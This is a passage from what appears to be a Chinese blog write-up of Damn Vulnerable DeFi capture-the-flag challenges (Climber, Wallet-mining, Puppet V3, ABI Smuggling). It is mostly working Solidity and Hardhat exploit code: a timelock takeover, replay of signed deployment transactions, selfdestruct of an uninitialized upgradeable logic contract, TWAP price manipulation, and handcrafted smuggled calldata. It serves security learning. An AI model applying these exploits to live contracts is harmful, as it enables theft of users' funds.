0;calldatas[4] = abi.encodeWithSignature("withdraw(address,address,uint256)",token,owner,0); timeClock.execute(targets, values, calldatas, "");console.log( timeClock.delay() );}function attack2() external {console.log("scheduled");console.log( timeClock.delay() );address[] memory targets = new address[](5);uint[] memory values = new uint[](5);bytes[] memory calldatas = new bytes[](5);targets[0] = address(timeClock);values[0] = 0;calldatas[0] = abi.encodeWithSignature("grantRole(bytes32,address)",PROPOSER_ROLE,address(this));targets[1] = address(timeClock);values[1] = 0;calldatas[1] = abi.encodeWithSignature("updateDelay(uint64)",0);targets[2] = vault;values[2] = 0;calldatas[2] = abi.encodeWithSignature("upgradeTo(address)",upgrade);targets[3] = address(this);values[3] = 0;calldatas[3] = abi.encodeWithSignature("attack2()");targets[4] = vault;values[4] = 0;calldatas[4] = abi.encodeWithSignature("withdraw(address,address,uint256)",token,owner,0);timeClock.schedule(targets, values, calldatas, "");}}
实际操作见test/climber/climber.challenge.js
:
it('Execution', async function () {/** CODE YOUR SOLUTION HERE */const upgradeContract = await (await ethers.getContractFactory('UpgradeClimberVault', player)).deploy();console.log("upgradeContract Inited ... : ",upgradeContract.address);const hacker = await (await ethers.getContractFactory('HackerClimber', player)).deploy(timelock.address,upgradeContract.address,vault.address,token.address);hacker.connect(player).attack();});
13. Wallet-mining
解决思路:
查看最后要求,首先发现要求我们要能够部署(没有私钥)factory
、mastercopy
合约,且还要在同一个地址。
我们先解决这一问题
// Factory account must have codeexpect(await ethers.provider.getCode(await walletDeployer.fact())).to.not.eq('0x');
这可能吗?我记得合约地址如果通过CREATE来计算:
addr = hash(msg.sender, nonce)
如果是CREATE2,则是
addr = hash("oxff",msg.sender,salt,calldata)
以上表明合约是可以创建出来的,并在创建之前已经可以知道其地址,这使得跨链服务成为可能。
但我们创建合约的player
很明显也不是链上创建者的地址,能做到吗?
OP丢失了价值2000万美元的OP通证,这里主要问题就是重放攻击!
但为什么能重放呢,这是因为在创建合约时,发出的经过签名的data未经过EIP155保护,不含有ChainId,因此简单重放就能假冒受害者完成该nonce下的部署。(部署合约需要使用sendRawTransaction
发送已签名的交易数据。因为部署合约的交易是一笔特殊的交易类型,需要在交易数据中包含新合约的字节码,以及其他合约初始化参数。这些信息需要通过部署合约前的合约编译得到,然后使用私钥对交易数据进行签名,并将签名后的交易数据发送给以太坊网络进行处理。而RPC节点会通过RLP反序列化反推出公钥、地址等信息,从而可以实现冒充)。再补充一下(一旦交易被签名后,交易数据就不可更改,直到交易被打包进区块中。当交易到达 RPC 节点时,节点会验证交易的签名是否有效,并将交易解析为 RLP 格式,然后将其广播到整个网络中。在这个过程中,签名是不会被修改的。RLP 格式包含交易的各个字段,包括发送方地址。)
我们先从etherscan上找到raw data(more -> get Raw transaction Hash),随后在test/wallet-mining/wallet-mining.challenge.js
中进行攻击:
console.log("player address is %s",player.address);const deployCode = require("./deployCode.json");const victim = "0x1aa7451dd11b8cb16ac089ed7fe05efa00100a6a";await player.sendTransaction({to : victim,value : ethers.utils.parseEther("1")});console.log("victim received eth in wei : %s", await ethers.provider.getBalance(victim));console.log("deploying safe ...");const deployCopy = await (await ethers.provider.sendTransaction(deployCode.copy)).wait();console.log("Success! Safe deployed at %s",deployCopy.contractAddress);console.log("random Transaction");(await ethers.provider.sendTransaction(deployCode.random)).wait();console.log("deploying factory ...");const deployFac = await (await ethers.provider.sendTransaction(deployCode.fact)).wait();console.log("Success! Fac deployed at %s",deployFac.contractAddress);console.log("victim received eth in wei : %s", await ethers.provider.getBalance(victim));
此时,尽管是player假冒,但扣的依旧是victim的ETH,这就是签名重放的危害。(切记一定要注意顺序,因为nonce
仍是victim
的地址)。
我们接下来的传入不会通过WalletDeployer
进行,因为它创建proxy
时所指定的逻辑地址是copy
。而我们则是想转账回去,所以我们自己手写攻击合约:
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;import "@openzeppelin/contracts/token/ERC20/IERC20.sol";import "hardhat/console.sol";contract HackerWalletMining1 {constructor(){}function tryHack(IERC20 token,address receiver) public{if (token.balanceOf(address(this))!=0){console.log("attacking...");token.transfer(receiver,token.balanceOf(address(this)));console.log("finish transfering");}}}
很明显,我们要通过proxyFactory
生成合约,如果对应token有余额,则我们会进行转出。
const hacker1 = await (await ethers.getContractFactory('HackerWalletMining1', player)).deploy();const calldata = hacker1.interface.encodeFunctionData("tryHack(address,address)",[token.address,player.address]);const factory = (await ethers.getContractFactory("GnosisSafeProxyFactory")).attach(deployFac.contractAddress);console.log("Get Factory instance : %s",factory.address);for (i = 0; i < 100; i++){ await factory.connect(player).createProxy(hacker1.address,calldata);}
很幸运,我们已经从空闲地址转移出来了通证,下面就是试着拿到walletDeployer
中的43个通证了。这个切入点就是看看能不能将合约升级,can
返回值永远通过!
我们发现AuthorizerUpgradeable
的逻辑合约尚未初始化,所以我们可以初始化并升级合约。但要升级成什么样子?由于walletDeployer
中通过staticCall获取信息:
assembly { let m := sload(0)if iszero(extcodesize(m)) {return(0, 0)}let p := mload(0x40)mstore(0x40,add(p,0x44))mstore(p,shl(0xe0,0x4538c4eb))mstore(add(p,0x04),u)mstore(add(p,0x24),a)if iszero(staticcall(gas(),m,p,0x44,p,0x20)) {return(0,0)}if and(not(iszero(returndatasize())), iszero(mload(p))) {return(0,0)}}
如果我们将合约自毁,就可以绕过这里面的限制。从而有
console.log(await walletDeployer.callStatic.can(player.address,DEPOSIT_ADDRESS)); // True!!!
所以我们编写自毁合约HackerWalletMining2
:
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";import "hardhat/console.sol";contract HackerWalletMining2 is Initializable, OwnableUpgradeable, UUPSUpgradeable {constructor(){}function hack(address receiver) public{console.log("destruct");selfdestruct(payable(receiver));}function upgradeToAndCall(address imp, bytes memory wat) external payable override {_authorizeUpgrade(imp);_upgradeToAndCallUUPS(imp, wat, true);}function _authorizeUpgrade(address imp) internal override onlyOwner {}}
然后我们在test/wallet-mining/wallet-mining.challenge.js
中编写,这里我们通过init
获取到逻辑合约的权限,并通过upgradeToAndCall
完成自毁。
此时就可以绕过walletDeployer
的检查。从而通过发送setup
(要求,前面有提过)通过WalletDeployer
创建合约并绕过检查。
const logicContract = (await ethers.getContractFactory("AuthorizerUpgradeable")).attach(logicContractAddress);await logicContract.connect(player).init([],[]);const hacker2 = await (await ethers.getContractFactory('HackerWalletMining2', player)).deploy();console.log("hacker 2 contract deployed : %s",hacker2.address);const calldata2 = hacker2.interface.encodeFunctionData("hack(address)",[player.address]);console.log(calldata2);await logicContract.connect(player).upgradeToAndCall(hacker2.address,calldata2);// configure setupconst calldata3 = new ethers.utils.Interface(["function setup(address[] calldata _owners, uint256 _threshold, address to, bytes calldata data, address fallbackHandler, address paymentToken, uint256 payment, address payable paymentReceiver)"]).encodeFunctionData("setup(address[],uint256,address,bytes,address,address,uint256,address)",[[player.address],1,"0x0000000000000000000000000000000000000000",0,"0x0000000000000000000000000000000000000000","0x0000000000000000000000000000000000000000",0,"0x0000000000000000000000000000000000000000",]);console.log("success configured calldata3 ", calldata3);for (i = 0; i < 43 ; i++){await walletDeployer.connect(player).drop(calldata3);}
14. Puppet – V3
解题思路:
Uniswap V3 喂价采用的是time-weighted average price(TWAP)
,即随着时间比重算出加权后的价格。所以很明显,在同一笔交易内是不可能完成的了,因此闪电贷的思路可以歇歇了。
整体思路不变,先“砸盘”,等价格下来了(过一段时间),再借不迟!
我们还是先找到uniswap的Router为0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45
。同时为了能够生成实例,安装依赖npm install @uniswap/swap-router-contracts
选用exactInputSingle函数进行交换(已经存在相关的池子)。进行砸盘,并通过轮询,找到合适的价格并入场。
test/puppet-v3/puppet-v3.challenge.js
中攻击如下,在110s左右价格就达到了合适的入场点位。
it('Execution', async function () {/** CODE YOUR SOLUTION HERE */console.log("before Swapping...");console.log("token : %s", await token.balanceOf(player.address));console.log("ETH : %s", await ethers.provider.getBalance(player.address));console.log("WETH : %s", await weth.balanceOf(player.address));const routerAddr = "0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45";const routerJson = require('@uniswap/swap-router-contracts/artifacts/contracts/SwapRouter02.sol/SwapRouter02.json');const router = new ethers.Contract(routerAddr, routerJson.abi, player);console.log("router created ... %s", router.address );await token.connect(player).approve(router.address,PLAYER_INITIAL_TOKEN_BALANCE);await router.connect(player).exactInputSingle([token.address,weth.address,3000,player.address,PLAYER_INITIAL_TOKEN_BALANCE,0,0])console.log("before Swapping...");console.log("token : %s", await token.balanceOf(player.address));console.log("ETH : %s", await ethers.provider.getBalance(player.address));console.log("WETH : %s", await weth.balanceOf(player.address));const value = BigNumber.from(await weth.balanceOf(player.address));for (i = 1; i < 115; i++){time.increase(1);const needToDeposit = await lendingPool.callStatic.calculateDepositOfWETHRequired(LENDING_POOL_INITIAL_TOKEN_BALANCE);console.log("after %s seconds",i);console.log(value);console.log(needToDeposit);if (value.gt(needToDeposit)){console.log("exit",i);break;}}time.increase(3);await weth.connect(player).approve(lendingPool.address,await weth.balanceOf(player.address));await lendingPool.connect(player).borrow(LENDING_POOL_INITIAL_TOKEN_BALANCE);});
V3 能有效防止价格操纵。。因为随着时间的增加,进入了多人博弈。
15 ABI-Smuggling
解决思路:
检查传入的id
console.log("sweeping : %s ",ethers.utils.id("sweepFunds(address,address)"));console.log("withdraw : %s ",ethers.utils.id("withdraw(address,address,uint256)"));
可知,player
允许withdraw
而deployer
则是sweep
。仔细检查,·发现问题可能出现在execute
函数中。
function execute(address target, bytes calldata actionData) external nonReentrant returns (bytes memory) {// Read the 4-bytes selector at the beginning of `actionData`bytes4 selector;uint256 calldataOffset = 4 + 32 * 3; // calldata position where `actionData` beginsassembly {selector := calldataload(calldataOffset)}if (!permissions[getActionId(selector, msg.sender, target)]) {revert NotAllowed();}_beforeFunctionCall(target, actionData);return target.functionCall(actionData);}
这里先计算出calldataOffset
从而获取selector
,从而验证用户是否具有权限。最后再进行target.functionCall
。但用这样解构actionData
有没有漏洞呢,我们又没有办法可以实现偷梁换柱呢?
在调用execute
时,整体callData如下(注意actionData是):
FS (4 bytes) | 函数选择器(Selector) | 0xaaaaaaaa |
---|---|---|
0x00 (32 bytes) | target(address) | … |
0x20 (32 bytes) | actiondata location | 0x40 |
0x40 (32 bytes) | actiondata length | … |
0x60 | actiondata contens |
uint256 calldataOffset = 4 + 32 * 3;
实际上就是赵的actiondata
开头的bytes4
。
这是建立在actiondata location
正确指向actiondata length
,两者被正确pack的情况。如果我们在location
和actiondatalength
中间插入一段无意义字节,但仍能够正确指向,evm依旧能够正确识别!(此时不在slot里,不需要严格按照slot 32字节对齐,但最后一定要是32的整数,能够对齐)。
最终生成,详细信息见注释:
0x1cff79cd // execute000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512// address(vault)0000000000000000000000000000000000000000000000000000000000000064// 32 + 32 + 32 + 4 =100 = 0x64(不算一开始的execute)0000000000000000000000000000000000000000000000000000000000000000// random 0 paading (fixed 32 b)d9caed12 // withdraw0000000000000000000000000000000000000000000000000000000000000044// calldata size (4 + 32 + 32 = 68 = 0x44)85fb709d // sweep0000000000000000000000003c44cdddb6a900fa2b585dd299e03d12fa4293bc // recovery.address0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3 // token.address000000000000000000000000000000000000000000000000 // 补全0
具体生成过程见test/abi-smuggling/abi-smuggling.challenge.js
it('Execution', async function () {/** CODE YOUR SOLUTION HERE */console.log("sweeping : %s ",ethers.utils.id("sweepFunds(address,address)"));console.log("withdraw : %s ",ethers.utils.id("withdraw(address,address,uint256)"));const executeSig = await vault.interface.getSighash(await vault.interface.getFunction("execute"));console.log(executeSig);const vaultAddr = await ethers.utils.hexZeroPad(vault.address,32);console.log(vaultAddr);const randoms = await ethers.utils.hexZeroPad("0x0",32);console.log(randoms);// length 32*2 + 4 = 68 = 0x44const actionDataContent = await vault.interface.encodeFunctionData("sweepFunds(address,address)",[recovery.address,token.address]);console.log(actionDataContent);const actionDataLength = await ethers.utils.hexZeroPad("0x44",32);const withdraw = await vault.interface.getSighash(await vault.interface.getFunction("withdraw"));// 32 bytes + 32 bytes + 32bytes + 4 bytes = 100 bytes = 0x64constactionDataStore = await ethers.utils.hexZeroPad("0x64",32)// 32 + 32 + 4 + 32 + 100 + 24 = 224 = 32 * 7 const padding= await ethers.utils.hexZeroPad("0x0",24);const action = await ethers.utils.hexConcat([actionDataStore, randoms, withdraw, actionDataLength, actionDataContent,padding]);const calldata = await ethers.utils.hexConcat([executeSig,vaultAddr,action]);console.log(calldata);await player.sendTransaction({to: vault.address,data : calldata});});
总结
很开心,完成了Damn Vulnerable Defi
的挑战。区块链安全真的内容很多,充满机会,但也是黑暗森林,不得不防守。接下来,我会开展DefiHackLabs
的分享。欢迎关注!
BTW,我目前也有想换一个工作环境,Open to Opportunities!